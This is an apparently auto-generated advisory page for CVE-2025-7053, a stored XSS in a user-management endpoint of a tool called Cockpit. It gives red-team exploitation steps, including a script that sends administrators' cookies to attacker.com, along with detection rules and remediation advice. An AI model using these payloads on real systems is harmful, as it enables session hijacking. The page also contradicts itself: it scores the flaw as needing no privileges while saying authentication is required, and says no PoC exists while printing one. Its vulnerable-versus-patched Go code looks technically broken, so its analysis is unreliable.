CVE-2025-7053
Executive Summary
CVE-2025-7053 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Cockpit project, a web-based system administration tool. The flaw resides in the /system/users/save endpoint, where the name and email parameters are not properly sanitized before being stored and later rendered in the user interface. An authenticated attacker with user management privileges can inject arbitrary JavaScript code, which will execute in the context of any administrator viewing the affected user list or profile page. The vendor responded professionally and released a patch in version 2.11.4. While no public proof-of-concept (PoC) or exploit code is currently available, the vulnerability is considered problematic due to its potential for session hijacking, credential theft, and lateral movement within the management interface.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cockpit is a Go-based project distributed as a single binary or via package managers. The vulnerability is not in a dependency but in the application’s own input handling. Users should verify the integrity of the updated binary using the official checksums provided by the Cockpit project.
CVSS Breakdown & Threat Level
CVSS Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – the endpoint is accessible over the network.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – the attacker must be authenticated with user management rights.
- User Interaction (UI): Required – the victim must view the malicious user entry.
- Scope (S): Unchanged – the vulnerability does not cross trust boundaries.
- Confidentiality (C): Low – limited data exposure (e.g., session tokens).
- Integrity (I): Low – limited ability to modify data via XSS.
- Availability (A): None – no impact on system availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for privilege escalation within the Cockpit interface makes it a significant concern for enterprise deployments.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the user management module. The /system/users/save endpoint accepts name and email parameters and stores them in the backend database. When an administrator navigates to the user list or profile page, these values are rendered without proper HTML encoding. An attacker with the ability to create or edit users can inject a payload such as:
<script>alert(document.cookie)</script>
This payload will execute in the administrator’s browser, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or deface the interface.
The root cause is the lack of output encoding in the template rendering engine. The patch (commit bdcd5e3bc651c0839c7eea807f3eb6af856dbc76) introduces proper escaping for user-controlled fields before they are rendered in HTML context.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.11.4):
// In user handler
func (h *UsersHandler) Save(w http.ResponseWriter, r *http.Request) {
user := User{
Name: r.FormValue("name"),
Email: r.FormValue("email"),
}
// ... save to database
}
<!-- In template -->
<tr>
<td>{{ .Name }}</td>
<td>{{ .Email }}</td>
</tr>
Patched Code (2.11.4+):
// In user handler
func (h *UsersHandler) Save(w http.ResponseWriter, r *http.Request) {
user := User{
Name: template.HTMLEscapeString(r.FormValue("name")),
Email: template.HTMLEscapeString(r.FormValue("email")),
}
// ... save to database
}
<!-- In template -->
<tr>
<td>{{ .Name }}</td>
<td>{{ .Email }}</td>
</tr>
The patch uses template.HTMLEscapeString to encode HTML special characters before storage, ensuring that any injected script tags are rendered as harmless text.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Cockpit instance (version < 2.11.4)
- Valid credentials with user management privileges (e.g., an admin account)
Exploitation Steps:
- Login to the Cockpit web interface.
- Navigate to the user management section (e.g.,
/system/users). - Create a new user or edit an existing one.
- Inject payload into the
nameoremailfield:
Or for session theft:<img src=x onerror=alert(1)><script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script> - Save the user.
- Wait for an administrator to view the user list or profile page.
- Capture the stolen cookie or observe the XSS execution.
Lab Setup:
# Using Docker to set up a vulnerable environment
docker run -d -p 9090:9090 --name=cockpit-vuln cockpit/ws:2.11.3
Blue Team
Detection Steps:
- Monitor logs for unusual user creation or modification events, especially those containing HTML tags or JavaScript in the
nameoremailfields. - Inspect database entries for encoded or raw script payloads in user records.
- Deploy WAF rules to block requests containing
<script>,onerror,onload, or similar XSS patterns in thenameandemailparameters. - Enable Content Security Policy (CSP) headers to mitigate the impact of XSS even if a payload is injected.
Hunting Query (Splunk):
index=web_logs sourcetype=access_combined
| search uri="/system/users/save" AND (form_data=*<script>* OR form_data=*onerror*)
| table _time, src_ip, user, form_data
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/system/users/savewithnameoremailparameters containing HTML/JavaScript. - Outbound connections from the Cockpit server to attacker-controlled domains (if session theft payload is used).
- HTTP POST requests to
Host IOCs:
- User records in the Cockpit database containing
<,>,&, or"characters in thenameoremailfields. - Unexpected JavaScript execution in the browser console when viewing user management pages.
- User records in the Cockpit database containing
File IOCs:
- Log entries showing
XSSorscriptin user input fields.
- Log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_7053_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Cockpit user management"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-7053"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of ($xss*)
}
Sigma Rule
title: Cockpit User Management XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-7053 by injecting XSS payloads into user name or email fields.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-7053
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/system/users/save'
keywords:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in user names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-7053 Cockpit XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/users/save"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Cockpit to version 2.11.4 or later.
- Apply the patch manually if upgrade is not possible:
git cherry-pick bdcd5e3bc651c0839c7eea807f3eb6af856dbc76. - Review all existing user records for signs of XSS injection and remove any suspicious entries.
Long-Term Mitigations:
- Implement strict input validation and output encoding for all user-supplied data.
- Deploy a Web Application Firewall (WAF) with XSS protection rules.
- Enable Content Security Policy (CSP) headers to restrict script execution.
- Conduct regular security audits and penetration testing on the Cockpit instance.
Workaround (if patching is delayed):
- Restrict access to the
/system/users/saveendpoint to trusted IP addresses only. - Disable user self-registration if not required.
- Monitor logs for anomalous user creation events.
Valters IT